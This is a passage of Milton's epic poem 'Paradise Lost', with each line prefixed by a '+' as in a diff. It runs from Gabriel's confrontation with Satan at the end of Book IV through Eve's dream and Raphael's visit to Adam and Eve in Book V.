sleep? +Know ye not then said Satan, filled with scorn, +Know ye not me? ye knew me once no mate +For you, there sitting where ye durst not soar: +Not to know me argues yourselves unknown, +The lowest of your throng; or, if ye know, +Why ask ye, and superfluous begin +Your message, like to end as much in vain? +To whom thus Zephon, answering scorn with scorn. +Think not, revolted Spirit, thy shape the same, +Or undiminished brightness to be known, +As when thou stoodest in Heaven upright and pure; +That glory then, when thou no more wast good, +Departed from thee; and thou resemblest now +Thy sin and place of doom obscure and foul. +But come, for thou, be sure, shalt give account +To him who sent us, whose charge is to keep +This place inviolable, and these from harm. +So spake the Cherub; and his grave rebuke, +Severe in youthful beauty, added grace +Invincible: Abashed the Devil stood, +And felt how awful goodness is, and saw +Virtue in her shape how lovely; saw, and pined +His loss; but chiefly to find here observed +His lustre visibly impaired; yet seemed +Undaunted. If I must contend, said he, +Best with the best, the sender, not the sent, +Or all at once; more glory will be won, +Or less be lost. Thy fear, said Zephon bold, +Will save us trial what the least can do +Single against thee wicked, and thence weak. +The Fiend replied not, overcome with rage; +But, like a proud steed reined, went haughty on, +Champing his iron curb: To strive or fly +He held it vain; awe from above had quelled +His heart, not else dismayed. Now drew they nigh +The western point, where those half-rounding guards +Just met, and closing stood in squadron joined, +A waiting next command. To whom their Chief, +Gabriel, from the front thus called aloud. +O friends! I hear the tread of nimble feet +Hasting this way, and now by glimpse discern +Ithuriel and Zephon through the shade; +And with them comes a third of regal port, +But faded splendour wan; who by his gait +And fierce demeanour seems the Prince of Hell, +Not likely to part hence without contest; +Stand firm, for in his look defiance lours. +He scarce had ended, when those two approached, +And brief related whom they brought, where found, +How busied, in what form and posture couched. +To whom with stern regard thus Gabriel spake. +Why hast thou, Satan, broke the bounds prescribed +To thy transgressions, and disturbed the charge +Of others, who approve not to transgress +By thy example, but have power and right +To question thy bold entrance on this place; +Employed, it seems, to violate sleep, and those +Whose dwelling God hath planted here in bliss! +To whom thus Satan with contemptuous brow. +Gabriel? thou hadst in Heaven the esteem of wise, +And such I held thee; but this question asked +Puts me in doubt. Lives there who loves his pain! +Who would not, finding way, break loose from Hell, +Though thither doomed! Thou wouldst thyself, no doubt +And boldly venture to whatever place +Farthest from pain, where thou mightst hope to change +Torment with ease, and soonest recompense +Dole with delight, which in this place I sought; +To thee no reason, who knowest only good, +But evil hast not tried: and wilt object +His will who bounds us! Let him surer bar +His iron gates, if he intends our stay +In that dark durance: Thus much what was asked. +The rest is true, they found me where they say; +But that implies not violence or harm. +Thus he in scorn. The warlike Angel moved, +Disdainfully half smiling, thus replied. +O loss of one in Heaven to judge of wise +Since Satan fell, whom folly overthrew, +And now returns him from his prison 'scaped, +Gravely in doubt whether to hold them wise +Or not, who ask what boldness brought him hither +Unlicensed from his bounds in Hell prescribed; +So wise he judges it to fly from pain +However, and to 'scape his punishment! +So judge thou still, presumptuous! till the wrath, +Which thou incurrest by flying, meet thy flight +Sevenfold, and scourge that wisdom back to Hell, +Which taught thee yet no better, that no pain +Can equal anger infinite provoked. +But wherefore thou alone? wherefore with thee +Came not all hell broke loose? or thou than they +Less hardy to endure? Courageous Chief! +The first in flight from pain! hadst thou alleged +To thy deserted host this cause of flight, +Thou surely hadst not come sole fugitive. +To which the Fiend thus answered, frowning stern. +Not that I less endure, or shrink from pain, +Insulting Angel! well thou knowest I stood +Thy fiercest, when in battle to thy aid +The blasting vollied thunder made all speed, +And seconded thy else not dreaded spear. +But still thy words at random, as before, +Argue thy inexperience what behoves +From hard assays and ill successes past +A faithful leader, not to hazard all +Through ways of danger by himself untried: +I, therefore, I alone first undertook +To wing the desolate abyss, and spy +This new created world, whereof in Hell +Fame is not silent, here in hope to find +Better abode, and my afflicted Powers +To settle here on earth, or in mid air; +Though for possession put to try once more +What thou and thy gay legions dare against; +Whose easier business were to serve their Lord +High up in Heaven, with songs to hymn his throne, +And practised distances to cringe, not fight, +To whom the warriour Angel soon replied. +To say and straight unsay, pretending first +Wise to fly pain, professing next the spy, +Argues no leader but a liear traced, +Satan, and couldst thou faithful add? O name, +O sacred name of faithfulness profaned! +Faithful to whom? to thy rebellious crew? +Army of Fiends, fit body to fit head. +Was this your discipline and faith engaged, +Your military obedience, to dissolve +Allegiance to the acknowledged Power supreme? +And thou, sly hypocrite, who now wouldst seem +Patron of liberty, who more than thou +Once fawned, and cringed, and servily adored +Heaven's awful Monarch? wherefore, but in hope +To dispossess him, and thyself to reign? +But mark what I arreed thee now, Avant; +Fly neither whence thou fledst! If from this hour +Within these hallowed limits thou appear, +Back to the infernal pit I drag thee chained, +And seal thee so, as henceforth not to scorn +The facile gates of Hell too slightly barred. +So threatened he; but Satan to no threats +Gave heed, but waxing more in rage replied. +Then when I am thy captive talk of chains, +Proud limitary Cherub! but ere then +Far heavier load thyself expect to feel +From my prevailing arm, though Heaven's King +Ride on thy wings, and thou with thy compeers, +Us'd to the yoke, drawest his triumphant wheels +In progress through the road of Heaven star-paved. +While thus he spake, the angelick squadron bright +Turned fiery red, sharpening in mooned horns +Their phalanx, and began to hem him round +With ported spears, as thick as when a field +Of Ceres ripe for harvest waving bends +Her bearded grove of ears, which way the wind +Sways them; the careful plowman doubting stands, +Left on the threshing floor his hopeless sheaves +Prove chaff. On the other side, Satan, alarmed, +Collecting all his might, dilated stood, +Like Teneriff or Atlas, unremoved: +His stature reached the sky, and on his crest +Sat Horrour plumed; nor wanted in his grasp +What seemed both spear and shield: Now dreadful deeds +Might have ensued, nor only Paradise +In this commotion, but the starry cope +Of Heaven perhaps, or all the elements +At least had gone to wrack, disturbed and torn +With violence of this conflict, had not soon +The Eternal, to prevent such horrid fray, +Hung forth in Heaven his golden scales, yet seen +Betwixt Astrea and the Scorpion sign, +Wherein all things created first he weighed, +The pendulous round earth with balanced air +In counterpoise, now ponders all events, +Battles and realms: In these he put two weights, +The sequel each of parting and of fight: +The latter quick up flew, and kicked the beam, +Which Gabriel spying, thus bespake the Fiend. +Satan, I know thy strength, and thou knowest mine; +Neither our own, but given: What folly then +To boast what arms can do? since thine no more +Than Heaven permits, nor mine, though doubled now +To trample thee as mire: For proof look up, +And read thy lot in yon celestial sign; +Where thou art weighed, and shown how light, how weak, +If thou resist. The Fiend looked up, and knew +His mounted scale aloft: Nor more;but fled +Murmuring, and with him fled the shades of night. + + + +Book V + + +Now Morn, her rosy steps in the eastern clime +Advancing, sowed the earth with orient pearl, +When Adam waked, so customed; for his sleep +Was aery-light, from pure digestion bred, +And temperate vapours bland, which the only sound +Of leaves and fuming rills, Aurora's fan, +Lightly dispersed, and the shrill matin song +Of birds on every bough; so much the more +His wonder was to find unwakened Eve +With tresses discomposed, and glowing cheek, +As through unquiet rest: He, on his side +Leaning half raised, with looks of cordial love +Hung over her enamoured, and beheld +Beauty, which, whether waking or asleep, +Shot forth peculiar graces; then with voice +Mild, as when Zephyrus on Flora breathes, +Her hand soft touching, whispered thus. Awake, +My fairest, my espoused, my latest found, +Heaven's last best gift, my ever new delight! +Awake: The morning shines, and the fresh field +Calls us; we lose the prime, to mark how spring +Our tender plants, how blows the citron grove, +What drops the myrrh, and what the balmy reed, +How nature paints her colours, how the bee +Sits on the bloom extracting liquid sweet. +Such whispering waked her, but with startled eye +On Adam, whom embracing, thus she spake. +O sole in whom my thoughts find all repose, +My glory, my perfection! glad I see +Thy face, and morn returned; for I this night +(Such night till this I never passed) have dreamed, +If dreamed, not, as I oft am wont, of thee, +Works of day past, or morrow's next design, +But of offence and trouble, which my mind +Knew never till this irksome night: Methought, +Close at mine ear one called me forth to walk +With gentle voice; I thought it thine: It said, +'Why sleepest thou, Eve? now is the pleasant time, +'The cool, the silent, save where silence yields +'To the night-warbling bird, that now awake +'Tunes sweetest his love-laboured song; now reigns +'Full-orbed the moon, and with more pleasing light +'Shadowy sets off the face of things; in vain, +'If none regard; Heaven wakes with all his eyes, +'Whom to behold but thee, Nature's desire? +'In whose sight all things joy, with ravishment +'Attracted by thy beauty still to gaze.' +I rose as at thy call, but found thee not; +To find thee I directed then my walk; +And on, methought, alone I passed through ways +That brought me on a sudden to the tree +Of interdicted knowledge: fair it seemed, +Much fairer to my fancy than by day: +And, as I wondering looked, beside it stood +One shaped and winged like one of those from Heaven +By us oft seen; his dewy locks distilled +Ambrosia; on that tree he also gazed; +And 'O fair plant,' said he, 'with fruit surcharged, +'Deigns none to ease thy load, and taste thy sweet, +'Nor God, nor Man? Is knowledge so despised? +'Or envy, or what reserve forbids to taste? +'Forbid who will, none shall from me withhold +'Longer thy offered good; why else set here? +This said, he paused not, but with venturous arm +He plucked, he tasted; me damp horrour chilled +At such bold words vouched with a deed so bold: +But he thus, overjoyed; 'O fruit divine, +'Sweet of thyself, but much more sweet thus cropt, +'Forbidden here, it seems, as only fit +'For Gods, yet able to make Gods of Men: +'And why not Gods of Men; since good, the more +'Communicated, more abundant grows, +'The author not impaired, but honoured more? +'Here, happy creature, fair angelick Eve! +'Partake thou also; happy though thou art, +'Happier thou mayest be, worthier canst not be: +'Taste this, and be henceforth among the Gods +'Thyself a Goddess, not to earth confined, +'But sometimes in the air, as we, sometimes +'Ascend to Heaven, by merit thine, and see +'What life the Gods live there, and such live thou!' +So saying, he drew nigh, and to me held, +Even to my mouth of that same fruit held part +Which he had plucked; the pleasant savoury smell +So quickened appetite, that I, methought, +Could not but taste. Forthwith up to the clouds +With him I flew, and underneath beheld +The earth outstretched immense, a prospect wide +And various: Wondering at my flight and change +To this high exaltation; suddenly +My guide was gone, and I, methought, sunk down, +And fell asleep; but O, how glad I waked +To find this but a dream! Thus Eve her night +Related, and thus Adam answered sad. +Best image of myself, and dearer half, +The trouble of thy thoughts this night in sleep +Affects me equally; nor can I like +This uncouth dream, of evil sprung, I fear; +Yet evil whence? in thee can harbour none, +Created pure. But know that in the soul +Are many lesser faculties, that serve +Reason as chief; among these Fancy next +Her office holds; of all external things +Which the five watchful senses represent, +She forms imaginations, aery shapes, +Which Reason, joining or disjoining, frames +All what we affirm or what deny, and call +Our knowledge or opinion; then retires +Into her private cell, when nature rests. +Oft in her absence mimick Fancy wakes +To imitate her; but, misjoining shapes, +Wild work produces oft, and most in dreams; +Ill matching words and deeds long past or late. +Some such resemblances, methinks, I find +Of our last evening's talk, in this thy dream, +But with addition strange; yet be not sad. +Evil into the mind of God or Man +May come and go, so unreproved, and leave +No spot or blame behind: Which gives me hope +That what in sleep thou didst abhor to dream, +Waking thou never will consent to do. +Be not disheartened then, nor cloud those looks, +That wont to be more cheerful and serene, +Than when fair morning first smiles on the world; +And let us to our fresh employments rise +Among the groves, the fountains, and the flowers +That open now their choisest bosomed smells, +Reserved from night, and kept for thee in store. +So cheered he his fair spouse, and she was cheered; +But silently a gentle tear let fall +From either eye, and wiped them with her hair; +Two other precious drops that ready stood, +Each in their crystal sluice, he ere they fell +Kissed, as the gracious signs of sweet remorse +And pious awe, that feared to have offended. +So all was cleared, and to the field they haste. +But first, from under shady arborous roof +Soon as they forth were come to open sight +Of day-spring, and the sun, who, scarce up-risen, +With wheels yet hovering o'er the ocean-brim, +Shot parallel to the earth his dewy ray, +Discovering in wide landskip all the east +Of Paradise and Eden's happy plains, +Lowly they bowed adoring, and began +Their orisons, each morning duly paid +In various style; for neither various style +Nor holy rapture wanted they to praise +Their Maker, in fit strains pronounced, or sung +Unmeditated; such prompt eloquence +Flowed from their lips, in prose or numerous verse, +More tuneable than needed lute or harp +To add more sweetness; and they thus began. +These are thy glorious works, Parent of good, +Almighty! Thine this universal frame, +Thus wonderous fair; Thyself how wonderous then! +Unspeakable, who sitst above these heavens +To us invisible, or dimly seen +In these thy lowest works; yet these declare +Thy goodness beyond thought, and power divine. +Speak, ye who best can tell, ye sons of light, +Angels; for ye behold him, and with songs +And choral symphonies, day without night, +Circle his throne rejoicing; ye in Heaven +On Earth join all ye Creatures to extol +Him first, him last, him midst, and without end. +Fairest of stars, last in the train of night, +If better thou belong not to the dawn, +Sure pledge of day, that crownest the smiling morn +With thy bright circlet, praise him in thy sphere, +While day arises, that sweet hour of prime. +Thou Sun, of this great world both eye and soul, +Acknowledge him thy greater; sound his praise +In thy eternal course, both when thou climbest, +And when high noon hast gained, and when thou fallest. +Moon, that now meetest the orient sun, now flyest, +With the fixed Stars, fixed in their orb that flies; +And ye five other wandering Fires, that move +In mystick dance not without song, resound +His praise, who out of darkness called up light. +Air, and ye Elements, the eldest birth +Of Nature's womb, that in quaternion run +Perpetual circle, multiform; and mix +And nourish all things; let your ceaseless change +Vary to our great Maker still new praise. +Ye Mists and Exhalations, that now rise +From hill or steaming lake, dusky or gray, +Till the sun paint your fleecy skirts with gold, +In honour to the world's great Author rise; +Whether to deck with clouds the uncoloured sky, +Or wet the thirsty earth with falling showers, +Rising or falling still advance his praise. +His praise, ye Winds, that from four quarters blow, +Breathe soft or loud; and, wave your tops, ye Pines, +With every plant, in sign of worship wave. +Fountains, and ye that warble, as ye flow, +Melodious murmurs, warbling tune his praise. +Join voices, all ye living Souls: Ye Birds, +That singing up to Heaven-gate ascend, +Bear on your wings and in your notes his praise. +Ye that in waters glide, and ye that walk +The earth, and stately tread, or lowly creep; +Witness if I be silent, morn or even, +To hill, or valley, fountain, or fresh shade, +Made vocal by my song, and taught his praise. +Hail, universal Lord, be bounteous still +To give us only good; and if the night +Have gathered aught of evil, or concealed, +Disperse it, as now light dispels the dark! +So prayed they innocent, and to their thoughts +Firm peace recovered soon, and wonted calm. +On to their morning's rural work they haste, +Among sweet dews and flowers; where any row +Of fruit-trees over-woody reached too far +Their pampered boughs, and needed hands to check +Fruitless embraces: or they led the vine +To wed her elm; she, spoused, about him twines +Her marriageable arms, and with him brings +Her dower, the adopted clusters, to adorn +His barren leaves. Them thus employed beheld +With pity Heaven's high King, and to him called +Raphael, the sociable Spirit, that deigned +To travel with Tobias, and secured +His marriage with the seventimes-wedded maid. +Raphael, said he, thou hearest what stir on Earth +Satan, from Hell 'scaped through the darksome gulf, +Hath raised in Paradise; and how disturbed +This night the human pair; how he designs +In them at once to ruin all mankind. +Go therefore, half this day as friend with friend +Converse with Adam, in what bower or shade +Thou findest him from the heat of noon retired, +To respite his day-labour with repast, +Or with repose; and such discourse bring on, +As may advise him of his happy state, +Happiness in his power left free to will, +Left to his own free will, his will though free, +Yet mutable; whence warn him to beware +He swerve not, too secure: Tell him withal +His danger, and from whom; what enemy, +Late fallen himself from Heaven, is plotting now +The fall of others from like state of bliss; +By violence? no, for that shall be withstood; +But by deceit and lies: This let him know, +Lest, wilfully transgressing, he pretend +Surprisal, unadmonished, unforewarned. +So spake the Eternal Father, and fulfilled +All justice: Nor delayed the winged Saint +After his charge received; but from among +Thousand celestial Ardours, where he stood +Veiled with his gorgeous wings, up springing light, +Flew through the midst of Heaven; the angelick quires, +On each hand parting, to his speed gave way +Through all the empyreal road; till, at the gate +Of Heaven arrived, the gate self-opened wide +On golden hinges turning, as by work +Divine the sovran Architect had framed. +From hence no cloud, or, to obstruct his sight, +Star interposed, however small he sees, +Not unconformed to other shining globes, +Earth, and the garden of God, with cedars crowned +Above all hills. As when by night the glass +Of Galileo, less assured, observes +Imagined lands and regions in the moon: +Or pilot, from amidst the Cyclades +Delos or Samos first appearing, kens +A cloudy spot. Down thither prone in flight +He speeds, and through the vast ethereal sky +Sails between worlds and worlds, with steady wing +Now on the polar winds, then with quick fan +Winnows the buxom air; till, within soar +Of towering eagles, to all the fowls he seems +A phoenix, gazed by all as that sole bird, +When, to enshrine his reliques in the Sun's +Bright temple, to Egyptian Thebes he flies. +At once on the eastern cliff of Paradise +He lights, and to his proper shape returns +A Seraph winged: Six wings he wore, to shade +His lineaments divine; the pair that clad +Each shoulder broad, came mantling o'er his breast +With regal ornament; the middle pair +Girt like a starry zone his waist, and round +Skirted his loins and thighs with downy gold +And colours dipt in Heaven; the third his feet +Shadowed from either heel with feathered mail, +Sky-tinctured grain. Like Maia's son he stood, +And shook his plumes, that heavenly fragrance filled +The circuit wide. Straight knew him all the bands +Of Angels under watch; and to his state, +And to his message high, in honour rise; +For on some message high they guessed him bound. +Their glittering tents he passed, and now is come +Into the blissful field, through groves of myrrh, +And flowering odours, cassia, nard, and balm; +A wilderness of sweets; for Nature here +Wantoned as in her prime, and played at will +Her virgin fancies pouring forth more sweet, +Wild above rule or art, enormous bliss. +Him through the spicy forest onward come +Adam discerned, as in the door he sat +Of his cool bower, while now the mounted sun +Shot down direct his fervid rays to warm +Earth's inmost womb, more warmth than Adam needs: +And Eve within, due at her hour prepared +For dinner savoury fruits, of taste to please +True appetite, and not disrelish thirst +Of nectarous draughts between, from milky stream, +Berry or grape: To whom thus Adam called. +Haste hither, Eve, and worth thy sight behold +Eastward among those trees, what glorious shape +Comes this way moving; seems another morn +Risen on mid-noon; some great behest from Heaven +To us perhaps he brings, and will vouchsafe +This day to be our guest. But go with speed, +And, what thy stores contain, bring forth, and pour +Abundance, fit to honour and receive +Our heavenly stranger: Well we may afford +Our givers their own gifts, and large bestow +From large bestowed, where Nature multiplies +Her fertile growth, and by disburthening grows +More fruitful, which instructs us not to spare. +To whom thus Eve. Adam, earth's hallowed mould, +Of God inspired! small store will serve, where store, +All seasons, ripe for use hangs on the stalk; +Save what by frugal storing firmness gains +To nourish, and superfluous moist consumes: +But I will haste, and from each bough and brake, +Each plant and juciest gourd, will pluck such choice +To entertain our Angel-guest, as he +Beholding shall confess, that here on Earth +God hath dispensed his bounties as in Heaven. +So saying, with dispatchful looks in haste +She turns, on hospitable thoughts intent +What choice to choose for delicacy best, +What order, so contrived as not to mix +Tastes, not well joined, inelegant, but bring +Taste after taste upheld with kindliest change; +Bestirs her then, and from each tender stalk +Whatever Earth, all-bearing mother, yields +In India East or West, or middle shore +In Pontus or the Punick coast, or where +Alcinous reigned, fruit of all kinds, in coat +Rough, or smooth rind, or bearded husk, or shell, +She gathers, tribute large, and on the board +Heaps with unsparing hand; for drink the grape +She crushes, inoffensive must, and meaths +From many a berry, and from sweet kernels pressed +She tempers dulcet creams; nor these to hold +Wants her fit vessels pure; then strows the ground +With rose and odours from the shrub unfumed. +Mean while our primitive great sire, to meet +His God-like guest, walks forth, without more train +Accompanied than with his own complete +Perfections; in himself was all his state, +More solemn than the tedious pomp that waits +On princes, when their rich retinue long +Of horses led, and grooms besmeared with gold, +Dazzles the croud, and sets them all agape. +Nearer his presence Adam, though not awed, +Yet with submiss approach and reverence meek, +As to a superiour nature bowing low, +Thus said. Native of Heaven, for other place +None can than Heaven such glorious shape contain; +Since, by descending from the thrones above, +Those happy places thou hast deigned a while +To want, and honour these, vouchsafe with us +Two only, who yet by sovran gift possess +This spacious ground, in yonder shady bower +To rest; and what the garden choicest bears +To sit and taste, till this meridian heat +Be over, and the sun more cool decline. +Whom thus the angelick Virtue answered mild. +Adam, I therefore came; nor art thou such +Created, or such place hast here to dwell, +As may not oft invite, though Spirits of Heaven, +To visit thee; lead on then where thy bower +O'ershades; for these mid-hours, till evening rise, +I have at will. So to the sylvan lodge +They came, that like Pomona's arbour smiled, +With flowerets decked, and fragrant smells; but Eve, +Undecked save with herself, more lovely fair +Than Wood-Nymph, or the fairest Goddess feigned +Of three that in mount Ida naked strove, +Stood to entertain her guest from Heaven; no veil +She needed, virtue-proof; no thought infirm +Altered her cheek. On whom the Angel Hail +Bestowed, the holy salutation used +Long after to blest Mary, second Eve. +Hail, Mother of Mankind, whose fruitful womb +Shall fill the world more numerous with thy sons, +Than with these various fruits the trees of God +Have heaped this table!--Raised of grassy turf +Their table was, and mossy seats had round, +And on her ample square from side to side +All autumn piled, though spring and autumn here +Danced hand in hand. A while discourse they hold; +No fear lest dinner cool; when thus began +Our author. Heavenly stranger, please to taste +These bounties, which our Nourisher, from whom +All perfect good, unmeasured out, descends, +To us for food and for delight hath caused +The earth to yield; unsavoury food perhaps +To spiritual natures; only this I know, +That one celestial Father gives to all. +To whom the Angel. Therefore what he gives +(Whose praise be ever sung) to Man in part +Spiritual, may of purest Spirits be found +No ingrateful food: And food alike those pure +Intelligential substances require, +As doth your rational; and both contain +Within them every lower faculty +Of sense, whereby they hear, see, smell, touch, taste, +Tasting concoct, digest, assimilate, +And corporeal to incorporeal turn. +For know, whatever was created, needs +To be sustained and fed: Of elements +The grosser feeds the purer, earth the sea, +Earth and the sea feed air, the air those fires +Ethereal, and as lowest first the moon; +Whence in her visage round those spots, unpurged +Vapours not yet into her substance turned. +Nor doth the moon no nourishment exhale +From her moist continent to higher orbs. +The sun that light imparts to all, receives +From all his alimental recompence +In humid exhalations, and at even +Sups with the ocean. Though in Heaven the trees +Of life ambrosial fruitage bear, and vines +Yield nectar; though from off the boughs each morn +We brush mellifluous dews, and find the ground +Covered with pearly grain: Yet God hath here +Varied his bounty so with new delights, +As may compare with Heaven; and to taste +Think not I shall be nice. So down they sat, +And to their viands fell; nor seemingly +The Angel, nor in mist, the common gloss +Of Theologians; but with keen dispatch +Of real hunger, and concoctive heat +To transubstantiate: What redounds, transpires +Through Spirits with ease; nor wonder;if by fire +Of sooty coal the empirick alchemist +Can turn, or holds it possible to turn, +Metals of drossiest ore to perfect gold, +As from the mine. Mean while at table Eve +Ministered naked, and their flowing cups +With pleasant liquours crowned: O innocence +Deserving Paradise! if ever, then, +Then had the sons of God excuse to have been +Enamoured at that sight; but in those hearts +Love unlibidinous reigned, nor jealousy +Was understood, the injured lover's hell. +Thus when with meats and drinks they had sufficed, +Not burdened nature, sudden mind arose +In Adam, not to let the occasion pass +Given him by this great conference to know +Of things above his world, and of their being +Who dwell in Heaven, whose excellence he saw +Transcend his own so far; whose radiant forms, +Divine effulgence, whose high power, so far +Exceeded human; and his wary speech +Thus to the empyreal minister he framed. +Inhabitant with God, now know I well +Thy favour, in this honour done to Man; +Under whose lowly roof thou hast vouchsafed +To enter, and these earthly fruits to taste, +Food not of Angels, yet accepted so, +As that more willingly thou couldst not seem +At Heaven's high feasts to have fed: yet what compare +To whom the winged Hierarch replied. +O Adam, One Almighty is, from whom +All things proceed, and up to him return, +If not depraved from good, created all +Such to perfection, one first matter all, +Endued with various forms, various degrees +Of substance, and, in things that live, of life; +But more refined, more spiritous, and pure, +As nearer to him placed, or nearer tending +Each in their several active spheres assigned, +Till body up to spirit work, in bounds +Proportioned to each kind. So from the root +Springs lighter the green stalk, from thence the leaves +More aery, last the bright consummate flower +Spirits odorous breathes: flowers and their fruit, +Man's nourishment, by gradual scale sublimed, +To vital spirits aspire, to animal, +To intellectual; give both life and sense, +Fancy and understanding; whence the soul +Reason receives, and reason is her being, +Discursive, or intuitive; discourse +Is oftest yours, the latter most is ours, +Differing but in degree, of kind the same. +Wonder not then, what God for you saw good +If I refuse not, but convert, as you +To proper substance. Time may come, when Men +With Angels may participate, and find +No inconvenient diet, nor too light fare; +And from these corporal nutriments perhaps +Your bodies may at last turn all to spirit, +Improved by tract of time, and, winged, ascend +Ethereal, as we; or may, at choice, +Here or in heavenly Paradises dwell; +If ye be found obedient, and retain +Unalterably firm his love entire, +Whose progeny you are. Mean while enjoy +Your fill what happiness this happy state +Can comprehend, incapable of more. +To whom the patriarch of mankind replied. +O favourable Spirit, propitious guest, +Well hast thou taught the way that might direct +Our knowledge, and the scale of nature set +From center to circumference; whereon, +In contemplation of created things, +By steps we may ascend to God. But say, +What meant that caution joined, If ye be found +Obedient? Can we want obedience then +To him, or possibly his love desert, +Who formed us from the dust and placed us here +Full to the utmost measure of what bliss +Human desires can seek or apprehend? +To whom the Angel. Son of Heaven and Earth, +Attend! That thou art happy, owe to God; +That thou continuest such, owe to thyself, +That is, to thy obedience; therein stand. +This was that caution given thee; be advised. +God made thee perfect, not immutable; +And good he made thee, but to persevere +He left it in thy power; ordained thy will +By nature free, not over-ruled by fate +Inextricable, or strict necessity: +Our voluntary service he requires, +Not our necessitated; such with him +Finds no acceptance, nor can find; for how +Can hearts, not free, be tried whether they serve +Willing or no, who will but what they must +By destiny, and can no other choose? +Myself, and all the angelick host, that stand +In sight of God, enthroned, our happy state +Hold, as you yours, while our obedience holds; +On other surety none: Freely we serve, +Because we freely love, as in our will +To love or not; in this we stand or fall: +And some are fallen, to disobedience fallen, +And so from Heaven to deepest Hell; O fall +From what high state of bliss, into what woe! +To whom our great progenitor. Thy words +Attentive, and with more delighted ear, +Divine instructer, I have heard, than when +Cherubick songs by night from neighbouring hills +Aereal musick send: Nor knew I not +To be both will and deed created free; +Yet that we never shall forget to love +Our Maker, and obey him whose command +Single is yet so just, my constant thoughts +Assured me, and still assure: Though what thou tellest +Hath passed in Heaven, some doubt within me move, +But more desire to hear, if thou consent, +The full relation, which must needs be strange, +Worthy of sacred silence to be heard; +And we have yet large day, for scarce the sun +Hath finished half his journey, and scarce begins +His other half in the great zone of Heaven. +Thus Adam made request; and Raphael, +After short pause assenting, thus began. +High matter thou enjoinest me, O prime of men, +Sad task and hard: For how shall I relate +To human sense the invisible exploits +Of warring Spirits? how, without remorse, +The ruin of so many glorious once +And perfect while they stood? how last unfold +The secrets of another world, perhaps +Not lawful to reveal? yet for thy good +This is dispensed; and what surmounts the reach +Of human sense, I shall delineate so, +By likening spiritual to corporal forms, +As may express them best; though what if Earth +Be but a shadow of Heaven, and things therein +Each to other like, more than on earth is thought? +As yet this world was not, and Chaos wild +Reigned where these Heavens now roll, where Earth now rests +Upon her center poised; when on a day +(For time, though in eternity, applied +To motion, measures all things durable +By present, past, and future,) on such day +As Heaven's great year brings forth, the empyreal host +Of Angels by imperial summons called, +Innumerable before the Almighty's throne +Forthwith, from all the ends of Heaven, appeared +Under their Hierarchs in orders bright: +Ten thousand thousand ensigns high advanced, +Standards and gonfalons 'twixt van and rear +Stream in the air, and for distinction serve +Of hierarchies, of orders, and degrees; +Or in their glittering tissues bear imblazed +Holy memorials, acts of zeal and love +Recorded eminent. Thus when in orbs +Of circuit inexpressible they stood, +Orb within orb, the Father Infinite, +By whom in bliss imbosomed sat the Son, +Amidst as from a flaming mount, whose top +Brightness had made invisible, thus spake. +Hear, all ye Angels, progeny of light, +Thrones, Dominations, Princedoms, Virtues, Powers; +Hear my decree, which unrevoked shall stand. +This day I have begot whom I declare +My only Son, and on this holy hill +Him have anointed, whom ye now behold +At my right hand; your head I him appoint; +And by myself have sworn, to him shall bow +All knees in Heaven, and shall confess him Lord: +Under his great vice-gerent reign abide +United, as one individual soul, +For ever happy: Him who disobeys, +Me disobeys, breaks union, and that day, +Cast out from God and blessed vision, falls +Into utter darkness, deep ingulfed, his place +Ordained without redemption, without end. +So spake the Omnipotent, and with his words +All seemed well pleased; all seemed, but were not all. +That day, as other solemn days, they spent +In song and dance about the sacred hill; +Mystical dance, which yonder starry sphere +Of planets, and of fixed, in all her wheels +Resembles nearest, mazes intricate, +Eccentrick, intervolved, yet regular +Then most, when most irregular they seem; +And in their motions harmony divine +So smooths her charming tones, that God's own ear +Listens delighted. Evening now approached, +(For we have also our evening and our morn, +We ours for change delectable, not need;) +Forthwith from dance to sweet repast they turn +Desirous; all in circles as they stood, +Tables are set, and on a sudden piled +With Angels food, and rubied nectar flows +In pearl, in diamond, and massy gold, +Fruit of delicious vines, the growth of Heaven. +On flowers reposed, and with fresh flowerets crowned, +They eat, they drink, and in communion sweet +Quaff immortality and joy, secure +Of surfeit, where full measure only bounds +Excess, before the all-bounteous King, who showered +With copious hand, rejoicing in their joy. +Now when ambrosial night with clouds exhaled +From that high mount of God, whence light and shade +Spring both, the face of brightest Heaven had changed +To grateful twilight, (for night comes not there +In darker veil,) and roseat dews disposed +All but the unsleeping eyes of God to rest; +Wide over all the plain, and wider far +Than all this globous earth in plain outspread, +(Such are the courts of God) the angelick throng, +Dispersed in bands and files, their camp extend +By living streams among the trees of life, +Pavilions numberless, and sudden reared, +Celestial tabernacles, where they slept +Fanned with cool winds; save those, who, in their course, +Melodious hymns about the sovran throne +Alternate all night long: but not so waked +Satan; so call him now, his former name +Is heard no more in Heaven; he of the first, +If not the first Arch-Angel, great in power, +In favour and pre-eminence, yet fraught +With envy against the Son of God, that day +Honoured by his great Father, and proclaimed +Messiah King anointed, could not bear +Through pride that sight, and thought himself impaired. +Deep malice thence conceiving and disdain, +Soon as midnight brought on the dusky hour +Friendliest to sleep and silence, he resolved +With all his legions to dislodge, and leave +Unworshipt, unobeyed, the throne supreme, +Contemptuous; and his next subordinate +Awakening, thus to him in secret spake. +Sleepest thou, Companion dear? What sleep can close +Thy eye-lids? and rememberest what decree +Of yesterday, so late hath passed the lips +Of Heaven's Almighty. Thou to me thy thoughts +Wast wont, I mine to thee was wont to impart; +Both waking we were one; how then can now +Thy sleep dissent? New laws thou seest imposed; +New laws from him who reigns, new minds may raise +In us who serve, new counsels to debate +What doubtful may ensue: More in this place +To utter is not safe. Assemble thou +Of all those myriads which we lead the chief; +Tell them, that by command, ere yet dim night +Her shadowy cloud withdraws, I am to haste, +And all who under me their banners wave, +Homeward, with flying march, where we possess +The quarters of the north; there to prepare +Fit entertainment to receive our King, +The great Messiah, and his new commands, +Who speedily through all the hierarchies +Intends to pass triumphant, and give laws. +So spake the false Arch-Angel, and infused +Bad influence into the unwary breast +Of his associate: He together calls, +Or several one by one, the regent Powers, +Under him Regent; tells, as he was taught, +That the Most High commanding, now ere night, +Now ere dim night had disincumbered Heaven, +The great hierarchal standard was to move; +Tells the suggested cause, and casts between +Ambiguous words and jealousies, to sound +Or taint integrity: But all obeyed +The wonted signal, and superiour voice +Of their great Potentate; for great indeed +His name, and high was his degree in Heaven; +His countenance, as the morning-star that guides +The starry flock, allured them, and with lies +Drew after him the third part of Heaven's host. +Mean while the Eternal eye, whose sight discerns +Abstrusest thoughts, from forth his holy mount, +And from within the golden lamps that burn +Nightly before him, saw without their light +Rebellion rising; saw in whom, how spread +Among the sons of morn, what multitudes +Were banded to oppose his high decree; +And, smiling, to his only Son thus said. +Son, thou in whom my glory I behold +In full resplendence, Heir of all my might, +Nearly it now concerns us to be 